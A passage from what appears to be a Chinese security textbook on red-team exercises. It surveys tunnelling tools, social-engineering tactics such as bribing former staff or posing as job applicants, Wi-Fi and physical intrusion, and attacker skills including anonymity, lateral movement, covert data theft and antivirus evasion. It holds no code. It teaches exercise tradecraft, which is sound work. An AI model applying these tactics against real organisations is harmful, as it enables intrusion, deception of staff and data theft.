某任务中的隧道代理案例 实战攻防演练中,蓝队主要通过以下两种方式实现隐蔽隧道外 连。 (1)借助第三方工具 实战攻防演练中,蓝队在攻击过程中主要借助第三方内网工具在 远程控制客户端和被攻击目标终端之间建立一个安全通信通道,实现 外网到内网的通信流量跨边界跳转,从而完成对内网隔离目标的访问 控制,为进一步从外到内渗透拓展提供便利。实现的方式主要有两 种:正向代理,就是通过可与内网通联的边界服务器,实现内网主机 主动出网,连接到攻击者的外网控制端;反向代理,以边界服务器为 代理服务器,实现由外到内对内网主机的访问。第三方工具具有支持 加密通信,转发端口自由设置、小巧实用等优点,多具有强大的端口 转发功能,可实现本地转发、远程转发、动态转发等多项功能。常用 的第三方工具有:端口转发类工具,如Windows自带的Netsh命令工 具、Linux系统自带的ssh命令工具、Netcat、HTran、Lcx等;SOCKS代 理类工具,如frp、ngrok、Proxifier等。 (2)借助目标边界设备 除了第三方工具,蓝队在实战攻防演练中也可以利用目标边界设 备的某些后台功能模块实现隐蔽外连渗透的目的,比如:可以利用一 些边界网关的端口映射功能实现内网主机的出网操作;利用一些边界 防火墙自带的PPTP、L2TP或SSL VPN功能模块实现VPN隐蔽接入目标内 网。目标网络一般很少在边界设备上开启此类通信设置,并且此类设 置多涉及底层网络通信,具有稳定、隐蔽的特点,经常会成为蓝队在 第三方工具利用效果不佳时的另一种选择。 3.7 社会工程学攻击 社会工程学攻击就是通过社会工程学方法来实施网络攻击的一种 手段。社会工程学攻击是一种利用人的弱点,综合运用信息搜集、语 言技巧、心理陷阱等多种手段,完成欺骗目的的方法。社会工程学攻 击主要是利用人们信息安全意识薄弱这一脆弱点以及人性的弱点,通 过各种手段从被攻击目标内部人员身上获取对网络渗透有价值的情报 或敏感信息(见图3-16)。与传统的网络攻击手段不同,社会工程学 攻击开展工作的对象是人,就是从目标人员身上获取对网络突破有价 值的信息或条件,比如目标网络架构部署、系统应用、安全防护、内 部人员通信方式或账户口令信息等。蓝队可以利用这些信息分析目标 网络弱点,有针对性地开展攻击,甚至直接利用获取到的账户口令实 现突破。 图3-16 社会工程学攻击 社会工程学攻击主要有以下几种方式。 ·利用熟人关系:这是社会工程学攻击最常用的方式,主要是利 用熟人之间的信赖关系,通过熟识的同学、朋友有针对性地打听有关 目标网络的信息。 ·通过利益交换:主要针对目标已经离职的网络安全人员,通过 金钱买通或利益交换的方式获取信息。 ·伪装相似背景:主要利用目标内部人员可能参加的一些专业会 议、安全技术论坛等,通过伪装身份刻意接触目标人员,趁机套取信 息。 ·伪装新人潜入:利用目标可能存在的招聘机会,通过伪装身份 直接去目标单位应聘,从而打入目标内部,趁机窃取目标的核心信 息。 ·假装面试交流:同样利用目标可能存在的招聘机会,尤其是一 些网络安全相关的岗位,以应聘者的身份参加面试,在与招聘人员的 交流过程中套取与目标的网络建设、应用部署等相关的信息。 钓鱼攻击也是利用诱骗手段实现对目标网络的突破,所以也是社 会工程学攻击的一种。 3.8 近源攻击 近源攻击是一种集常规网络攻防、物理接近、社会工程学攻击及 无线电通信攻防等能力于一体的网络攻击手段。不同于传统的网络攻 击渗透“边界”受限于常见的Web平台、系统应用、防火墙网关等外部 接口,攻击者只能从“边界”外部开展攻击,近源攻击中攻击者位于 目标附近或建筑内部,攻击也是从目标“内部”发起的。目标内部常 常存在更多的安全盲点,比如各类无线通信网络、物理接口或智能终 端设备等,攻击者可以利用这些安全盲点更加隐蔽地突破目标安全防 线进入内网,最终实现对目标网络的深度渗透。实战攻防演练中,蓝 队主要通过乔装、社会工程学攻击等方式实地物理侵入企业的办公区 域,从被攻击目标内部的各种潜在攻击面(如Wi-Fi网络、RFID门禁、 暴露的有线网口、USB接口等)找到突破口,并以隐蔽的方式对攻击结 果进行验证,由此证明目标网络安全防护存在漏洞。常用的攻击方式 有以下两种。 (1)Wi-Fi边界突破 现在Wi-Fi网络在办公区使用比较普遍,可以利用目标办公区附近 的Wi-Fi网络,通过无线设备和工具抓取Wi-Fi通信数据包,重点对有 Wi-Fi安全认证访问的数据进行解码分析,破解其认证信息,从而获取 Wi-Fi网络接入权限;或者通过伪造热点(如用相似名字暗示),利用 伪造的热点更强的信号或通过攻击真实Wi-Fi路由使其瘫痪,从而诱骗 内部人员连接伪造的热点,窃取目标人员的Wi-Fi凭证。 (2)乔装侵入 乔装侵入就是利用目标的安全监管漏洞,假冒目标内部人员进入 目标办公区,在目标内部寻找暴露的有线网口、智能终端设备、无人 监管主机等可能具有内网连接条件的设备,通过这些网口或设备接入 目标内网实施攻击渗透。比如:通过暴露的网口可以直接连接电脑, 很有可能可以接入目标内网;智能终端设备多留有USB接口,可以借助 此类接口进行恶意代码植入;无人监管主机可以通过授权验证绕过漏 洞进行控制,直接进入内网。 下面来看一个实战攻防演练中比较典型的例子。某目标网络攻防 演练任务中,攻击者以参会名义假冒参会人员进入目标办公区会场, 在会场的某张桌子下发现暴露的LAN口,直接连接笔记本电脑后可扫描 内网网段,利用漏洞控制网络管理平台,进一步将其作为跳板渗透拓 展。 第4章 蓝队攻击的必备能力 开展网络渗透对蓝队人员的岗位技能和动手能力都有较高的要 求,这些能力要求侧重于攻防实战,是蓝队人员综合能力水平的体 现。因为蓝队人员在实战攻防演练中面对的是十分契合真实网络条件 的环境,各项技能与手段都需要在实战中得到实践运用,所以对蓝队 人员的能力要求与对传统网络安全的能力要求有一定的区别。同时, 蓝队能力综合了漏洞挖掘、攻击开发、代码调试、侦破拓展多个方 面,根据蓝队人员技术专长、能力水平、技能掌握难易程度等不同情 况,蓝队能力有基础能力、进阶能力和高阶能力之分。 4.1 实战化能力与传统能力的区别 由于实战攻防演练是对真实黑客攻防过程进行模拟和再现,因此 也要求蓝队成员在攻击过程中所使用的战术手法能够达到甚至超过黑 产组织或APT组织的攻击水平。与传统的漏洞挖掘人才能力要求不同, 实战化能力要求蓝队成员具备在真实的业务系统上,综合利用各种技 术和非技术手段进行动态实战攻防的能力。具体来说,实战化能力主 要有以下几个特点。 (1)针对业务系统,而非IT系统 传统或一般的漏洞挖掘工作主要针对的是各类IT信息系统本身或 系统中的设备、协议等,如各类Web系统、操作系统、PC终端、IoT设 备、工业协议、区块链协议等;而实战攻防演练工作的核心目标是发 现和解决由网络安全问题引发的业务安全及生产安全问题,攻击过程 针对的是实际运行中的业务系统或生产设备。 此外,传统的漏洞挖掘工作主要关注的是对单一系统的单点突 破。实战攻防演练更多关注的则是多个系统并存的复杂体系,是复杂 体系在运行、管理过程中存在的安全隐患。对于多数大中型政企机构 来说,内部存在几十上百个不同的信息化系统的情况是非常普遍的。 (2)漏洞挖掘只是辅助,攻击必须有效 单纯的漏洞挖掘工作,一般只需证明漏洞的存在,提交漏洞报告 即可。但在实战化的业务环境中,存在漏洞不等于能够实现有效的攻 击。一方面,这是因为漏洞的实际触发可能依赖于诸多条件,这些条 件在实际的业务环境中未必具备;另一方面,即便漏洞是有效的,但 如果蓝队只能实现单点突破,而无法达到预设的最终目标,同样不能 完成有效的攻击。 (3)攻击是个过程,允许社会工程学方法 对单一漏洞进行挖掘和利用,往往只能实现某个局部的技术目 标。但事实上,在绝大多数的实战攻防演练中,蓝队需要连续突破多 个外围系统或关联系统,才能最终达成计划中的攻击目标。也就是 说,蓝队需要掌握一系列漏洞,并能够对机构内部的IT架构、运行管 理机制进行有效分析,才有可能找到有效的攻击路径,实现实战攻防 演练环境下的有效攻击。事实上,在实战攻防演练中,蓝队一方可能 需要连续数日,多人协作才能完成一整套攻击。 此外,一般的漏洞挖掘或渗透测试是不允许使用社会工程学方法 的。但在实战化环境下,社会工程学是必不可少的攻击手法,因为真 实的攻击者一定会使用这项技能。事实上,以人为突破口,往往是实 战攻防演练中攻击方的优选。 (4)动态攻防环境,有人运行值守 单纯的漏洞挖掘工作一般不需要考虑攻防过程,也就是说不需要 考虑人的参与。但在实战攻防演练中,防守方红队实际上是有专业团 队在进行安全运行维护和24小时值守工作的。攻击方蓝队一旦开始行 动,就有可能被防守方发觉。而防守方一旦发现入侵行为,也会采取 各种反制措施、诱捕行动及攻击溯源。所以,实战化能力就要求蓝队 成员必须掌握一定的身份隐藏技能,掌握匿名网络、免杀技术、权限 维持等各种安全对抗技术。 4.2 实战化蓝队人才能力图谱 实战化蓝队人才能力可以分为不同的级别和类型。在本书中,我 们主要综合考虑了掌握技能的难易程度、市场人才的稀缺程度及实战 化能力的有效性这三方面的因素,将蓝队的实战化能力从低到高依次 分为基础能力、进阶能力和高阶能力。 (1)掌握技能的难易程度 不同的能力,学习和掌握起来难易程度不同。而技能的难易程度 是能力定级的首要因素。例如,Web漏洞利用相对容易,而Web漏洞挖 掘要困难一些,系统层漏洞的挖掘则更为困难,所以这三种能力也就 分别被列入基础能力、进阶能力和高阶能力。 (2)市场人才的稀缺程度 人才的稀缺程度也是能力定级的重要参考因素。例如,在蓝队一 方,掌握系统层漏洞利用的人只有1成左右;在iOS系统中,会编写PoC 或EXP的人员也相对少见。因此,这些能力就被归入了高阶能力。 (3)实战化能力的有效性 总体而言,越是高阶的能力防守方就越难以防御和发现,其在实 战攻防演练中发挥实效的概率也就越大。 接下来说分类问题。从不同的视角出发,可以对实战化能力进行 不同的分类。而本书所采用分类方法主要考虑了以下几个因素。 ·只对实战化过程中最主要、最实用的能力进行分类,边缘技能 暂未列入分类。 ·不同的能力分类之间尽量不交叉。 ·分类与分级兼顾,同一领域的不同能力,如果分级不同,则作 为不同的分类。 ·将挖掘、利用、开发、分析等能力作为不同的技能来分类。比 如,同样是对于Web系统,漏洞利用、漏洞挖掘、开发与编程都是不同 的能力分类。 以前述分级与分类原则为基础,本书将实战化蓝队人才能力分为3 个级别、14类、85项具体技能。其中,基础能力2类20项,进阶能力4 类23项,高阶能力8类42项,如图4-1所示。 图4-1 实战化蓝队人才能力图谱 4.2.1 基础能力 基础能力主要包含Web漏洞利用能力和基础安全工具利用能力两 类。 (1)Web漏洞利用能力 Web漏洞利用能力即利用Web系统或程序的安全漏洞实施网络攻击 的能力。由于Web系统是绝大多数机构业务系统或对外服务系统的构建 形式,所以Web漏洞利用也是最常见、最基础的网络攻击形式之一。在 实战攻防演练中,蓝队常用的Web漏洞形式有命令执行、代码执行、解 析漏洞、XSS、弱口令、文件上传、SQL注入、逻辑漏洞、信息泄露、 配置错误、反序列化、权限绕过等。 (2)基础安全工具利用能力 主要包括Burp Suite、sqlmap、AppScan、AWVS、Nmap、 Wireshark、MSF、Cobalt Strike等基础安全工具的利用能力。熟练的 工具利用能力是高效开展渗透工作的保障。 4.2.2 进阶能力 进阶能力主要包括Web漏洞挖掘、Web开发与编程、编写PoC或EXP 等利用、社工钓鱼四类。 (1)Web漏洞挖掘 Web漏洞挖掘能力主要是对Web系统或软件进行漏洞挖掘的能力。 在蓝队挖掘的Web应用漏洞中,比较常见的漏洞形式有命令执行、代码 执行、解析漏洞、XSS、弱口令、文件上传、SQL注入、逻辑漏洞、信 息泄露、配置错误、反序列化、权限绕过等。 (2)Web开发与编程 掌握一门或几门编程语言,是蓝队人员深入挖掘Web应用漏洞、分 析Web站点及业务系统运行机制的重要基础能力。在实战攻防演练中, 蓝队最常遇到、需要掌握的编程语言有Java、PHP、Python、C/C++、 Go等。 (3)编写PoC或EXP等利用 PoC是Proof of Concept的缩写,即概念验证,特指为了验证漏洞 存在而编写的代码。有时也被用作0day、Exploit(漏洞利用)的别 名。 EXP是Exploit的缩写,即漏洞利用代码。一般来说,有漏洞不一 定有EXP,而有EXP,就肯定有漏洞。 PoC和EXP的概念仅有细微的差别,前者用于验证,后者则是直接 利用。自主编写PoC或EXP,要比直接使用第三方编写的漏洞利用工具 或成熟的漏洞利用代码困难得多。但对于很多没有已知利用代码的漏 洞或0day漏洞,自主编写PoC或EXP就显得非常重要了。 此外,针对不同的目标或在不同的系统环境中,编写PoC或EXP的 难度也不同。针对Web应用和智能硬件/IoT设备等,编写PoC或EXP相对 容易,属于进阶能力;而针对操作系统或安全设备编写PoC或EXP则更 加困难,属于高阶能力。 (4)社工钓鱼 社工钓鱼,既是实战攻防演练中经常使用的作战手法,也是黑产 团伙或黑客组织最常使用的攻击方式。在很多情况下,攻击人要比攻 击系统容易得多。社工钓鱼的方法和手段多种多样。在实战攻防演练 中,最为常用,也是最为实用的技能主要有四种:开源情报搜集、社 工库搜集、鱼叉邮件和社交钓鱼。其中,前两个属于情报搜集能力, 而后两个则属于攻防互动能力。 1)开源情报搜集。开源情报搜集能力是指在公开的互联网信息平 台上合法搜集目标机构的关键情报信息的能力。例如,新闻媒体、技 术社区、企业官网、客户资源平台等公开信息分享平台都是开源情报 搜集的重要渠道。蓝队可以通过开源情报搜集,获取诸如企业员工内 部邮箱、联系方式、企业架构、供应链名录、产品代码等关键情报信 息。这些信息都可以为进一步的攻击提供支撑。 开源情报搜集是蓝队首要的情报搜集方式,其关键在于要从海量 网络信息中找到并筛选出有价值的情报信息组合。通常情况下,单一 渠道公开的机构信息大多没有什么敏感性和保密性,价值有限,但如 果将不同渠道的多源信息组合起来,就能够形成非常有价值的情报信 息。当然,不排除某些机构会不慎将内部敏感信息泄露在互联网平台 上。蓝队在互联网平台上直接找到机构内部开发代码,找到账号密码 本的情况也并不少见。 2)社工库搜集。社工库搜集能力是指针对特定目标机构社工库信 息的搜集能力。 所谓社工库,通常是指含有大量用户敏感信息的数据库或数据 包。用户敏感信息包括但不限于账号、密码、姓名、身份证号、电话 号码、人脸信息、指纹信息、行为信息等。由于这些信息非常有助于 攻击方针对特定目标设计有针对性的社会工程学陷阱,因此将这些信 息集合起来的数据包或数据库就被称为社会工程学库,简称社工库。 社工库是地下黑产或暗网上交易的重要标的物。不过,在实战攻 防演练中,蓝队所使用的社工库资源必须兼顾合法性问题,这就比黑 产团伙建立社工库的难度要大得多。 3)鱼叉邮件。鱼叉邮件能力是指通过制作和投递鱼叉邮件,实现 对机构内部特定人员有效欺骗的一种社工能力。 鱼叉邮件是针对特定组织机构内部特定人员的定向邮件欺诈行 为,目的是窃取机密数据或系统权限。鱼叉邮件有多种形式,可以将 木马程序作为邮件的附件发送给特定的攻击目标,也可以构造特殊 的、有针对性的邮件内容诱使目标人回复或点击钓鱼网站。鱼叉邮件 主要针对的是安全意识或安全能力不足的机构内部员工。不过,某些 设计精妙的鱼叉邮件,即便是有经验的安全人员也难以识别。 4)社交钓鱼。社交钓鱼一般建立在使人决断产生认知偏差的基础 上,也是网络诈骗活动的主要方法,但在以往的实战攻防演练中还很 少使用。随着防守方能力的不断提升,直接进行技术突破的难度越来 越大,针对鱼叉邮件也有了很多比较有效的监测方法,于是近两年社 交钓鱼方法的使用越来越多了。 4.2.3 高阶能力 高阶能力主要包括系统层漏洞利用与防护、系统层漏洞挖掘、身 份隐藏、内网渗透、掌握CPU指令集、高级安全工具、编写PoC或EXP等 高级利用以及团队协作八大类。 1. 系统层漏洞利用与防护 为应对各种各样的网络攻击,操作系统内部有很多底层的安全机 制。而每一种安全机制,都对应了一定形式的网络攻击方法。对于蓝 队人员来说,学习和掌握底层的系统安全机制,发现程序或系统中安 全机制设计的缺陷或漏洞,是实现高水平网络攻击的重要基础。实战 攻防演练中,最实用且最常用的系统层安全机制有以下7种。 1)SafeSEH。SafeSEH是Windows操作系统的一种安全机制,专门 用于防止异常处理函数被篡改。在程序调用异常处理函数之前, SafeSEH会对要调用的异常处理函数进行一系列的有效性校验。如果发 现异常处理函数不可靠或存在安全风险,应立即终止异常处理函数的 调用。如果SafeSEH机制设计不完善或存在缺欠,就有可能被攻击者利 用、欺骗或绕过。当系统遭到攻击时,程序运行就会出现异常,并触 发异常处理函数。而要使攻击能够继续进行,攻击者就常常需要伪造 或篡改系统异常处理函数,使系统无法感知到异常的发生。 蓝队的SafeSEH能力是指掌握SafeSEH的技术原理,能够发现程序 或系统中SafeSEH机制的设计缺陷,并加以利用实施攻击的能力。 2)DEP。DEP(Data Execution Protection,数据执行保护)的 作用是防止数据页内的数据被当作可执行代码执行,引发安全风险。 从计算机内存的角度看,对数据和代码的处理并没有明确区分,只不 过在系统的调度下,CPU会对于不同内存区域中的不同数据进行不一样 的计算而已。这就使得系统在处理某些经过攻击者精心构造的数据 时,会误将其中的一部分“特殊数据”当作可执行代码执行,从而触 发恶意命令的执行。而DEP机制设计的重要目的就是防止这种问题的发 生;如果DEP机制设计不完善或存在缺欠,就有可能被攻击者所利用、 欺骗或绕过。 蓝队的DEP能力是指掌握DEP的技术原理,能够发现程序或系统中 DEP机制的设计缺陷,并加以利用实施攻击的能力。 3)PIE。PIE(Position-Independent Executable,地址无关可 执行文件)与PIC(Position-Independent Code,地址无关代码)含 义基本相同,是Linux或Android系统中动态链接库的一种实现技术。 蓝队的PIE能力是指掌握PIE的技术原理,能够发现程序或系统中 PIE机制的设计缺陷,并加以利用实施攻击的能力。 4)NX。NX(No-eXecute,不可执行)是DEP技术中的一种,作用 是防止溢出攻击中,溢出的数据被当作可执行代码执行。NX的基本原 理是将数据所在内存页标识为不可执行,当操作系统读到这段溢出数 据时,就会抛出异常,而非执行恶意指令。如果NX机制设计不完善或 存在缺欠,就可以被攻击者利用并发动溢出攻击。 蓝队的NX能力是指掌握NX的技术原理,能够发现程序或系统中NX 机制的设计缺陷,并加以利用实施攻击的能力。 5)ASLR。ASLR(Address Space Layout Randomization,地址空 间随机化)是一种操作系统用来抵御缓冲区溢出攻击的内存保护机 制。这种技术使得系统上运行的进程的内存地址无法预测,使与这些 进程有关的漏洞变得更加难以利用。 蓝队的ASLR能力是指掌握ASLR的技术原理,能够发现程序或系统 中ASLR机制的设计缺陷,并加以利用实施攻击的能力。 6)SEHOP。SEHOP是Structured Exception Handler Overwrite Protection的缩写,意为结构化异常处理覆盖保护。其中,结构化异 常处理是指按照一定的控制结构或逻辑结构对程序进行异常处理的一 种方法。如果结构化异常处理链表上的某一个或多个节点被攻击者精 心构造的数据所覆盖,就可能导致程序的执行流程被控制,这就是SEH 攻击。而SEHOP就是Windows操作系统中针对这种攻击给出的一种安全 防护方案。 蓝队的SEHOP能力是指蓝队掌握SEHOP的技术原理,能够发现程序 或系统中SEHOP机制的设计缺陷,并加以利用实施攻击的能力。 7)GS。GS意为缓冲区安全性检查,是Windows缓冲区的安全监测 机制,用于防止缓冲区溢出攻击。缓冲区溢出是指当计算机向缓冲区 内填充数据位数时,填充的数据超过了缓冲区本身的容量,溢出的数 据就会覆盖合法数据。理想的情况是:程序会检查数据长度,并且不 允许输入超过缓冲区长度的字符。但是很多程序会假设数据长度总是 与所分配的储存空间相匹配,这就埋下了缓冲区溢出隐患,即缓冲区 溢出漏洞。GS的作用就是通过对缓冲区数据进行各种校验,防止缓冲 区溢出攻击的发生。 蓝队的GS能力是指蓝队掌握GS的技术原理,能够发现程序或系统 中GS机制的设计缺陷,并加以利用实施攻击的能力。 2. 系统层漏洞挖掘 系统层漏洞的挖掘需要很多相对高级的漏洞挖掘方法。从实战角 度看,以下6种挖掘方法最为实用:代码跟踪、动态调试、Fuzzing技 术、补丁对比、软件逆向静态分析、系统安全机制分析。 1)代码跟踪。代码跟踪是指通过自动化分析工具和人工审查结合 的方式,对程序源代码逐条进行检查分析,发现其中的错误信息、安 全隐患和规范性缺陷,以及由这些问题引发的安全漏洞,并提供代码 修订措施和建议。 2)动态调试。动态调试原指程序作者利用集成环境自带的调试器 跟踪程序的运行,来协助解决程序中的错误。不过,对于蓝队来说, 动态调试通常是指这样一种分析方法:使用动态调试器(如OllyDbg、 x64Dbg等),为可执行程序设置断点,通过监测目标程序在断点处的 输入/输出及运行状态等信息,来反向推测程序的代码结构、运行机制 及处理流程等,进而发现目标程序中的设计缺陷或安全漏洞。 3)Fuzzing技术。Fuzzing技术是一种基于黑盒(或灰盒)的测试 技术,通过自动化生成并执行大量的随机测试用例来触发程序或系统 异常,进而发现产品或协议的未知缺陷或漏洞。 4)补丁对比。每一个安全补丁都会对应一个或多个安全漏洞。通 过对补丁文件的分析,往往可以还原出相应漏洞的原理或机制。而利 用还原出来的漏洞,就可以对尚未打上相关补丁的程序或系统实施有 效攻击。而补丁对比是实战环境下,补丁分析的一种常用的、有效的 方式。补丁对比是指对原始文件和补丁文件分别进行反汇编,然后对 反汇编后的文件做比较找出其中的差异,从而发现潜在漏洞的一种安 全分析方法。 5)程序逆向静态分析。程序逆向静态分析是指对程序实施逆向工 程,之后对反编译的源码或二进制代码文件进行分析,进而发现设计 缺陷或安全漏洞的一种安全分析方法。 对于开放源代码的程序,通过检测程序中不符合安全规则的文件 结构、命名规则、函数、堆栈指针等,就可以发现程序中存在的安全 缺陷。被分析目标没有附带源程序时,就需要对程序进行逆向工程, 获取类似于源代码的逆向工程代码,然后再进行检索和分析,这样也 可以发现程序中的安全漏洞。这就是程序逆向静态分析。 程序逆向静态分析,也叫反汇编扫描,由于采用了底层的汇编语 言进行漏洞分析,理论上可以发现所有计算机可运行的漏洞。对于不 公开源代码的程序来说,这种方法往往是最有效的发现安全漏洞的办 法。 6)系统安全机制分析。系统安全机制就是指在操作系统中,利用 某种技术、某些软件来实施一个或多个安全服务的过程,主要包括标 识与鉴别机制、访问控制机制、最小特权管理机制、可信通路机制、 安全审计机制,以及存储保护、运行保护机制等。 系统安全机制分析是指对操作系统的各种安全机制进行分析,进 而发现系统设计缺陷或安全漏洞的方法。 3. 身份隐藏 为避免自己的真实IP、物理位置、设备特征等信息在远程入侵的 过程中被网络安全设备记录,甚至被溯源追踪,攻击者一般都会利用 各种方式来进行身份隐藏。在实战攻防演练中,蓝队所采用的身份隐 藏技术主要有以下几类:匿名网络、盗取他人ID/账号、使用跳板机、 他人身份冒用和利用代理服务器等。 1)匿名网络。匿名网络泛指信息接收者无法对信息发送者进行身 份定位与物理位置溯源,或溯源过程极其困难的通信网络。这种网络 通常是在现有的互联网环境下,通过使用由特定的通信软件组成的特 殊虚拟网络,实现发起者的身份隐藏。其中以Tor网络(洋葱网络)为 代表的各类暗网是比较常用的匿名网络。 蓝队的匿名网络能力是指使用匿名网络对目标机构发起攻击,并 有效隐藏自己身份或位置信息的能力。 2)盗取他人ID/账号。盗取他人ID/账号,攻击者既可以获取与 ID/账号相关的系统权限,进而实施非法操作,也可以冒充ID/账号所 有人的身份进行各种网络操作,从而达到隐藏身份的目的。不过,在 实战攻防演练中,通常不允许随意盗取与目标机构完全无关人员的ID/ 账号。 蓝队的盗取他人ID/账号能力是指盗取目标机构及其相关机构内部 人员ID/账号,以实现有效攻击和身份隐藏的能力。 3)使用跳板机。使用跳板机是指攻击者并不直接对目标发起攻 击,而是利用中间主机作为跳板机,经过预先设定的一系列路径对目 标进行攻击的一种攻击方法。使用跳板机的原因主要有两方面:一是 受到内网安全规则的限制,目标机器可能直接不可达,必须经过跳板 机才能间接访问;二是使用跳板机,攻击者可以在一定程度上隐藏自 己的身份,使系统中留下的操作记录多为跳板机所为,从而增加防守 方溯源分析的难度。 蓝队使用跳板机的能力是指入侵机构内部网络,获得某些主机控 制权限,并以此为跳板,实现内网横向拓展的技术能力。 4)他人身份冒用。他人身份冒用是指通过技术手段欺骗身份识别 系统或安全分析人员,进而冒用他人身份完成登录系统、执行非法操 作及投放恶意程序等攻击行为。这里所说的他人身份冒用技术不包括 前述的盗取他人ID/账号。 蓝队的他人身份冒用能力是指使用各种技术手段冒用他人身份入 侵特定系统的技术能力。 5)利用代理服务器。代理服务器是指专门为其他联网设备提供互 联网访问代理的服务器设备。在不使用代理服务器的情况下,联网设 备会直接与互联网相连,并从运营商那里分配到全网唯一的IP地址; 而在使用代理服务器的情况下,联网设备则首先访问代理服务器,再 通过代理服务器访问互联网。代理服务器的设计,最初是为了解决局 域网内用户连接互联网的需求而提出的,局域网内的所有计算机都通 过代理服务器与互联网上的其他主机进行通信。被通信的主机或服务 器只能识别出代理服务器的地址,而无法识别出是局域网内的哪一台 计算机在与自己通信。 在实战攻防演练中,蓝队使用代理服务器联网,就可以在一定程 度上隐藏自己的IP地址和联网身份,增加防守方的溯源难度和IP封禁 难度。在某些情况下,攻击者甚至还会设置多级代理服务器,以实现 更深的身份隐藏。 蓝队的利用代理服务器能力是指在攻击过程中,使用一级或多级 代理服务器实现身份隐藏的能力。 4. 内网渗透 内网渗透是指在蓝队已经完成边界突破,成功入侵政企机构内部 网络之后,在机构内部网络中实施进一步渗透攻击,逐层突破内部安 全防护机制,扩大战果或最终拿下目标系统的攻击过程。在实战攻防 演练中,蓝队比较实用的内网渗透能力包括工作组或域环境渗透、内 网权限维持/提权、横向拓展、数据窃取和免杀等。 1)工作组、域环境渗透。工作组和域环境都是机构内部网络结构 的基本概念。工作组通常是指一组相互联结、具有共同业务或行为属 性的终端(计算机)集合。组内终端权限平等,没有统一的管理员或 管理设备。通常来说,工作组的安全能力上限取决于每台终端自身的 安全能力。域环境则是由域控服务器创建的,具有统一管理和安全策 略的联网终端的集合,域控服务器和域管理员账号具有域内最高权 限。通常来说,域环境的安全性要比工作组高很多,但如果域管理员 账号设置了弱口令或者域控服务器存在安全漏洞,也有可能导致域控 服务器被攻击者劫持,进而导致域内所有设备全部失陷。出于安全管 理的需要,大型机构的内部网络一般都会被划分为若干个域环境,不 同的域对应不同的业务和终端,执行不同的网络和安全管理策略。而 在一些网络管理相对比较松散的机构中,内网中也可能只有若干个工 作组,而没有域环境。 蓝队的工作组、域环境渗透能力是指掌握内网环境中工作组或域 环境的运行管理机制,发现其中的设计缺陷或安全漏洞,并加以利用 实施攻击的能力。 2)内网权限维持/提权。攻击者通常是以普通用户的身份接入网 络系统或内网环境,要实现攻击就需要提升自身的系统权限,并且使 自身获得的高级系统权限能够维持一定的时间,避免被系统或管理员 降权。提升系统权限的操作简称提权,维持系统权限的操作简称权限 维持。在实战环境下,系统提权的主要方式包括本地提权、利用系统 漏洞提权、利用应用漏洞提权、获取密码/认证提权等。 蓝队的内网权限维持/提权能力是指在内网环境中,利用各种安全 设计缺陷或安全漏洞,提升自己的系统权限以及维持提权有效性的技 术能力。 3)横向拓展。横向拓展通常是指攻击者攻破某台内网终端/主机 设备后,以之为基础,对相同网络环境中的其他设备发起的攻击活 动,但也常常被用来泛指攻击者进入内网后的各种攻击活动。 蓝队的横向拓展能力是泛指以内网突破点为基础,逐步扩大攻击 范围,攻破更多内网设备或办公、业务系统的技术能力。 4)数据窃取。对机密或敏感数据的窃取,是实战攻防演练中最常 见的预设目标之一,也是黑客针对政企机构的网络攻击活动的主要目 的之一。一般来说,机构内部的很多办公系统、业务系统、生产系统 中会有专门的服务器或服务器集群用于存储核心数据,数据服务器的 防护一般会比其他网络设备更加严密。 蓝队的数据窃取能力是指熟练掌握服务器的数据库操作,在内网 中找到机构的核心系统数据服务器,获取服务器访问或管理权限,在 防守方不知情的情况下将数据窃取出来并秘密外传的技术能力。 5)免杀技术。免杀(Anti Anti-Virus)是高级的网络安全对抗 方式,是各种能使木马病毒程序免于被杀毒软件查杀的技术的总称, 可以使攻击者编写的木马病毒程序在目标主机上秘密运行,不被发 现。免杀技术要求开发人员不仅要具备木马病毒的编写能力,还需要 对各种主流安全软件的运行框架、杀毒引擎的工作原理、操作系统的 底层机制、应用程序的白利用方式等有非常深入的了解,并能据此编 写对抗代码。使用免杀技术,对于蓝队人员的基础能力要求非常之 高。 蓝队的免杀技术能力是指编写木马病毒程序实现免杀的技术能 力。 5. 掌握CPU指令集 CPU指令集,即CPU中用来计算和控制计算机系统的一套指令的集 合。每一种CPU在设计时都会有一系列与其他硬件电路相配合的指令系 统。指令系统包括指令格式、寻址方式和数据形式。一台计算机的指 令系统反映了该计算机的全部功能。机器类型不同,其指令集也不 同。而蓝队人员对CPU指令集的掌握程度,将直接决定蓝队进行系统层 漏洞挖掘与利用的能力水平。目前,最为常见的CPU指令集有x86、 MIPS、ARM和PowerPC。 1)x86。x86一般指英特尔x86。x86指令集是英特尔为其CPU专门 开发的指令集合。通过分析x86指令集可以找到英特尔下相关软件或系 统的运行机制,从而通过指令实现底层攻击。 2)MIPS。MIPS(Microcomputer without Interlocked Pipeline Stages,无互锁流水级微处理器)技术是MIPS公司(著名芯片设计公 司)设计开发的一系列精简指令系统计算结构,最早是在20世纪80年 代初期由斯坦福大学Hennessy教授领导的研究小组研制出来的。MIPS 由于授权费用低,被英特尔外的大多数厂商使用。通过分析MIPS指令 集可以找到除英特尔外大多厂商(多见于工作站领域)的软件或系统 运行机制,从而通过指令实现底层攻击。 3)ARM。ARM(Advanced RISC Machines),即ARM处理器,是英 国Acorn公司设计的第一款低功耗RISC(Reduced Instruction Set Computer,精简指令集计算机)微处理器。ARM指令集是指计算机ARM 操作指令系统。ARM指令集可以分为跳转指令、数据处理指令、程序状 态寄存器处理指令、加载/存储指令、协处理器指令和异常产生指令六 大类。 4)PowerPC。PowerPC(Performance Optimization With Enhanced RISC-Performance Computing)是一种精简指令集架构的中 央处理器,其基本的设计源自POWER架构。POWER架构是1991年由AIM联 盟(Apple、IBM、Motorola)发展出的微处理器架构。PowerPC处理器 有广泛的实现范围,从高端服务器CPU(如Power4)到嵌入式CPU市场 (如任天堂游戏机)。但自2005年起,苹果旗下电脑产品转用英特尔 CPU。 6. 高级安全工具 高级安全工具同样是蓝队的必修课,只不过这些工具对于使用者 有更高的基础技能要求,初学者不易掌握。在实战化环境中,最常用 的工具有IDA、Ghidra、Binwalk、OllyDbg、Peach Fuzzer等。 1)IDA。IDA是一个专业的反汇编工具,是安全渗透人员进行逆向 安全测试的必备工具,具有静态反汇编和逆向调试等功能,能够帮助 安全测试人员发现代码级别的高危安全漏洞。 2)Ghidra。Ghidra是一款开源的跨平台软件逆向工具,目前支持 的平台有Windows、macOS及Linux,提供反汇编、汇编、反编译等多种 功能。Ghidra P-Code是专为逆向工程设计的寄存器传输语言,能够对 许多不同的处理器进行建模。 3)Binwalk。Binwalk是一个文件扫描、提取、分析工具,可以用 